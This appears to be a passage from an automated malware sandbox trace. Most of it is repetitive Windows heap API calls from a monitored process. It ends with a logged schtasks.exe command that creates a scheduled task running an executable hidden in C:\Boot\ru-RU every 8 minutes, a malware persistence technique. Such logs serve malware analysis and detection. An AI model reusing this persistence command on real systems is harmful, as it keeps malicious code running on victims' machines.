Flags=0x0, MemoryPointer=0x45cb90) returned 0x20 [0131.461] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb90 | out: hHeap=0x440000) returned 1 [0131.461] GetProcessHeap () returned 0x440000 [0131.461] GetProcessHeap () returned 0x440000 [0131.461] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2d0) returned 1 [0131.461] GetProcessHeap () returned 0x440000 [0131.461] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c2d0) returned 0xae [0131.461] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2d0 | out: hHeap=0x440000) returned 1 [0131.461] GetProcessHeap () returned 0x440000 [0131.461] GetProcessHeap () returned 0x440000 [0131.461] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5a0) returned 1 [0131.462] GetProcessHeap () returned 0x440000 [0131.462] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d5a0) returned 0x18 [0131.462] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5a0 | out: hHeap=0x440000) returned 1 [0131.462] GetProcessHeap () returned 0x440000 [0131.462] GetProcessHeap () returned 0x440000 [0131.462] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb60) returned 1 [0131.462] GetProcessHeap () returned 0x440000 [0131.462] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cb60) returned 0x20 [0131.462] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb60 | out: hHeap=0x440000) returned 1 [0131.462] GetProcessHeap () returned 0x440000 [0131.462] GetProcessHeap () returned 0x440000 [0131.462] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45dd10) returned 1 [0131.462] GetProcessHeap () returned 0x440000 [0131.462] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45dd10) returned 0xb0 [0131.463] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45dd10 | out: hHeap=0x440000) returned 1 [0131.463] GetProcessHeap () returned 0x440000 [0131.463] GetProcessHeap () returned 0x440000 [0131.463] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d540) returned 1 [0131.463] GetProcessHeap () returned 0x440000 [0131.463] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d540) returned 0x18 [0131.463] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d540 | out: hHeap=0x440000) returned 1 [0131.463] GetProcessHeap () returned 0x440000 [0131.463] GetProcessHeap () returned 0x440000 [0131.463] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb30) returned 1 [0131.463] GetProcessHeap () returned 0x440000 [0131.463] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cb30) returned 0x20 [0131.464] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cb30 | out: hHeap=0x440000) returned 1 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c3b0) returned 1 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c3b0) returned 0xe [0131.464] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c3b0 | out: hHeap=0x440000) returned 1 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c390) returned 1 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c390) returned 0x18 [0131.464] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c390 | out: hHeap=0x440000) returned 1 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455de0) returned 1 [0131.464] GetProcessHeap () returned 0x440000 [0131.464] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455de0) returned 0x20 [0131.465] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455de0 | out: hHeap=0x440000) returned 1 [0131.465] GetProcessHeap () returned 0x440000 [0131.465] GetProcessHeap () returned 0x440000 [0131.465] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45bc70) returned 1 [0131.465] GetProcessHeap () returned 0x440000 [0131.465] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bc70) returned 0x208 [0131.465] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bc70 | out: hHeap=0x440000) returned 1 [0131.465] GetProcessHeap () returned 0x440000 [0131.465] GetProcessHeap () returned 0x440000 [0131.465] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45bad0) returned 1 [0131.465] GetProcessHeap () returned 0x440000 [0131.465] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bad0) returned 0x18 [0131.466] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bad0 | out: hHeap=0x440000) returned 1 [0131.466] GetProcessHeap () returned 0x440000 [0131.466] GetProcessHeap () returned 0x440000 [0131.466] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455cf0) returned 1 [0131.466] GetProcessHeap () returned 0x440000 [0131.466] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455cf0) returned 0x20 [0131.466] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455cf0 | out: hHeap=0x440000) returned 1 [0131.466] GetProcessHeap () returned 0x440000 [0131.466] GetProcessHeap () returned 0x440000 [0131.466] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d300) returned 1 [0131.466] GetProcessHeap () returned 0x440000 [0131.466] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d300) returned 0x200 [0131.467] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d300 | out: hHeap=0x440000) returned 1 [0131.467] GetProcessHeap () returned 0x440000 [0131.467] GetProcessHeap () returned 0x440000 [0131.467] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45bb10) returned 1 [0131.467] GetProcessHeap () returned 0x440000 [0131.467] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bb10) returned 0x18 [0131.467] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bb10 | out: hHeap=0x440000) returned 1 [0131.467] GetProcessHeap () returned 0x440000 [0131.467] GetProcessHeap () returned 0x440000 [0131.467] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455c60) returned 1 [0131.467] GetProcessHeap () returned 0x440000 [0131.467] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455c60) returned 0x20 [0131.468] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455c60 | out: hHeap=0x440000) returned 1 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c280) returned 1 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c280) returned 0x14 [0131.468] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c280 | out: hHeap=0x440000) returned 1 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c260) returned 1 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c260) returned 0x18 [0131.468] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c260 | out: hHeap=0x440000) returned 1 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455ba0) returned 1 [0131.468] GetProcessHeap () returned 0x440000 [0131.468] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455ba0) returned 0x20 [0131.469] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455ba0 | out: hHeap=0x440000) returned 1 [0131.469] GetProcessHeap () returned 0x440000 [0131.469] GetProcessHeap () returned 0x440000 [0131.469] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2a0) returned 1 [0131.469] GetProcessHeap () returned 0x440000 [0131.469] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c2a0) returned 0x16 [0131.469] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c2a0 | out: hHeap=0x440000) returned 1 [0131.469] GetProcessHeap () returned 0x440000 [0131.469] GetProcessHeap () returned 0x440000 [0131.469] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45c220) returned 1 [0131.469] GetProcessHeap () returned 0x440000 [0131.469] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45c220) returned 0x18 [0131.469] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c220 | out: hHeap=0x440000) returned 1 [0131.469] GetProcessHeap () returned 0x440000 [0131.469] GetProcessHeap () returned 0x440000 [0131.469] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455b70) returned 1 [0131.469] GetProcessHeap () returned 0x440000 [0131.470] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455b70) returned 0x20 [0131.470] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455b70 | out: hHeap=0x440000) returned 1 [0131.470] GetProcessHeap () returned 0x440000 [0131.470] GetProcessHeap () returned 0x440000 [0131.470] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba50) returned 1 [0131.470] GetProcessHeap () returned 0x440000 [0131.470] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba50) returned 0x2 [0131.470] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba50 | out: hHeap=0x440000) returned 1 [0131.470] GetProcessHeap () returned 0x440000 [0131.470] GetProcessHeap () returned 0x440000 [0131.471] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x4559c0) returned 1 [0131.471] GetProcessHeap () returned 0x440000 [0131.471] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4559c0) returned 0x20 [0131.472] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4559c0 | out: hHeap=0x440000) returned 1 [0131.472] GetProcessHeap () returned 0x440000 [0131.472] GetProcessHeap () returned 0x440000 [0131.472] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x4559f0) returned 1 [0131.472] GetProcessHeap () returned 0x440000 [0131.472] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4559f0) returned 0x20 [0131.472] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4559f0 | out: hHeap=0x440000) returned 1 [0131.472] GetProcessHeap () returned 0x440000 [0131.472] GetProcessHeap () returned 0x440000 [0131.472] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455a20) returned 1 [0131.472] GetProcessHeap () returned 0x440000 [0131.472] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455a20) returned 0x20 [0131.472] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455a20 | out: hHeap=0x440000) returned 1 [0131.472] GetProcessHeap () returned 0x440000 [0131.472] GetProcessHeap () returned 0x440000 [0131.473] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455a50) returned 1 [0131.473] GetProcessHeap () returned 0x440000 [0131.473] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455a50) returned 0x20 [0131.473] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455a50 | out: hHeap=0x440000) returned 1 [0131.473] GetProcessHeap () returned 0x440000 [0131.473] GetProcessHeap () returned 0x440000 [0131.473] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cbc0) returned 1 [0131.473] GetProcessHeap () returned 0x440000 [0131.473] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cbc0) returned 0x20 [0131.474] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cbc0 | out: hHeap=0x440000) returned 1 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d6a0) returned 1 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d6a0) returned 0xa [0131.474] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d6a0 | out: hHeap=0x440000) returned 1 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cbf0) returned 1 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cbf0) returned 0x20 [0131.474] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cbf0 | out: hHeap=0x440000) returned 1 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x457ae0) returned 1 [0131.474] GetProcessHeap () returned 0x440000 [0131.474] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x457ae0) returned 0x30 [0131.475] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x457ae0 | out: hHeap=0x440000) returned 1 [0131.475] GetProcessHeap () returned 0x440000 [0131.475] GetProcessHeap () returned 0x440000 [0131.475] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc20) returned 1 [0131.475] GetProcessHeap () returned 0x440000 [0131.475] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cc20) returned 0x20 [0131.475] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cc20 | out: hHeap=0x440000) returned 1 [0131.475] GetProcessHeap () returned 0x440000 [0131.475] GetProcessHeap () returned 0x440000 [0131.475] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x457b20) returned 1 [0131.475] GetProcessHeap () returned 0x440000 [0131.475] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x457b20) returned 0x30 [0131.476] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x457b20 | out: hHeap=0x440000) returned 1 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ce00) returned 1 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ce00) returned 0x20 [0131.476] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ce00 | out: hHeap=0x440000) returned 1 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5c0) returned 1 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d5c0) returned 0x10 [0131.476] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5c0 | out: hHeap=0x440000) returned 1 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cdd0) returned 1 [0131.476] GetProcessHeap () returned 0x440000 [0131.476] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cdd0) returned 0x20 [0131.477] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cdd0 | out: hHeap=0x440000) returned 1 [0131.477] GetProcessHeap () returned 0x440000 [0131.477] GetProcessHeap () returned 0x440000 [0131.477] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5e0) returned 1 [0131.477] GetProcessHeap () returned 0x440000 [0131.477] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d5e0) returned 0x10 [0131.477] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d5e0 | out: hHeap=0x440000) returned 1 [0131.477] GetProcessHeap () returned 0x440000 [0131.477] GetProcessHeap () returned 0x440000 [0131.477] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cda0) returned 1 [0131.477] GetProcessHeap () returned 0x440000 [0131.477] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cda0) returned 0x20 [0131.477] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cda0 | out: hHeap=0x440000) returned 1 [0131.477] GetProcessHeap () returned 0x440000 [0131.477] GetProcessHeap () returned 0x440000 [0131.477] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d600) returned 1 [0131.477] GetProcessHeap () returned 0x440000 [0131.478] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d600) returned 0xe [0131.478] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d600 | out: hHeap=0x440000) returned 1 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd70) returned 1 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd70) returned 0x20 [0131.478] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd70 | out: hHeap=0x440000) returned 1 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d620) returned 1 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d620) returned 0x16 [0131.478] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d620 | out: hHeap=0x440000) returned 1 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd40) returned 1 [0131.478] GetProcessHeap () returned 0x440000 [0131.478] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd40) returned 0x20 [0131.479] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd40 | out: hHeap=0x440000) returned 1 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d640) returned 1 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d640) returned 0x16 [0131.479] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d640 | out: hHeap=0x440000) returned 1 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd10) returned 1 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cd10) returned 0x20 [0131.479] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cd10 | out: hHeap=0x440000) returned 1 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x479e50) returned 1 [0131.479] GetProcessHeap () returned 0x440000 [0131.479] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x479e50) returned 0x82 [0131.480] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x479e50 | out: hHeap=0x440000) returned 1 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45cce0) returned 1 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45cce0) returned 0x20 [0131.480] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45cce0 | out: hHeap=0x440000) returned 1 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45d680) returned 1 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45d680) returned 0xe [0131.480] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45d680 | out: hHeap=0x440000) returned 1 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccb0) returned 1 [0131.480] GetProcessHeap () returned 0x440000 [0131.480] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ccb0) returned 0x20 [0131.481] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ccb0 | out: hHeap=0x440000) returned 1 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba70) returned 1 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba70) returned 0x18 [0131.481] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba70 | out: hHeap=0x440000) returned 1 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455a80) returned 1 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455a80) returned 0x20 [0131.481] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455a80 | out: hHeap=0x440000) returned 1 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455ab0) returned 1 [0131.481] GetProcessHeap () returned 0x440000 [0131.481] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455ab0) returned 0x20 [0131.482] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455ab0 | out: hHeap=0x440000) returned 1 [0131.482] GetProcessHeap () returned 0x440000 [0131.482] GetProcessHeap () returned 0x440000 [0131.482] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455ae0) returned 1 [0131.482] GetProcessHeap () returned 0x440000 [0131.482] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455ae0) returned 0x20 [0131.482] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455ae0 | out: hHeap=0x440000) returned 1 [0131.482] GetProcessHeap () returned 0x440000 [0131.482] GetProcessHeap () returned 0x440000 [0131.482] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455b10) returned 1 [0131.482] GetProcessHeap () returned 0x440000 [0131.482] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455b10) returned 0x20 [0131.483] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455b10 | out: hHeap=0x440000) returned 1 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba90) returned 1 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba90) returned 0x18 [0131.483] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba90 | out: hHeap=0x440000) returned 1 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455b40) returned 1 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455b40) returned 0x20 [0131.483] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455b40 | out: hHeap=0x440000) returned 1 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455bd0) returned 1 [0131.483] GetProcessHeap () returned 0x440000 [0131.483] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455bd0) returned 0x20 [0131.484] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455bd0 | out: hHeap=0x440000) returned 1 [0131.484] GetProcessHeap () returned 0x440000 [0131.484] GetProcessHeap () returned 0x440000 [0131.484] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455c30) returned 1 [0131.484] GetProcessHeap () returned 0x440000 [0131.484] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455c30) returned 0x20 [0131.484] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455c30 | out: hHeap=0x440000) returned 1 [0131.484] GetProcessHeap () returned 0x440000 [0131.484] GetProcessHeap () returned 0x440000 [0131.484] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455c90) returned 1 [0131.484] GetProcessHeap () returned 0x440000 [0131.484] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455c90) returned 0x20 [0131.485] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455c90 | out: hHeap=0x440000) returned 1 [0131.485] GetProcessHeap () returned 0x440000 [0131.485] GetProcessHeap () returned 0x440000 [0131.485] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455cc0) returned 1 [0131.485] GetProcessHeap () returned 0x440000 [0131.485] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455cc0) returned 0x20 [0131.485] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455cc0 | out: hHeap=0x440000) returned 1 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45bab0) returned 1 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bab0) returned 0x18 [0131.486] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bab0 | out: hHeap=0x440000) returned 1 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x455c00) returned 1 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x455c00) returned 0x20 [0131.486] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x455c00 | out: hHeap=0x440000) returned 1 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] HeapValidate (hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba30) returned 1 [0131.486] GetProcessHeap () returned 0x440000 [0131.486] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45ba30) returned 0x18 [0131.486] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45ba30 | out: hHeap=0x440000) returned 1 [0131.487] exit (_Code=0) Thread: id = 112 os_tid = 0xee8 Process: id = "14" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x42980000" os_pid = "0xeec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 8 /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /f" 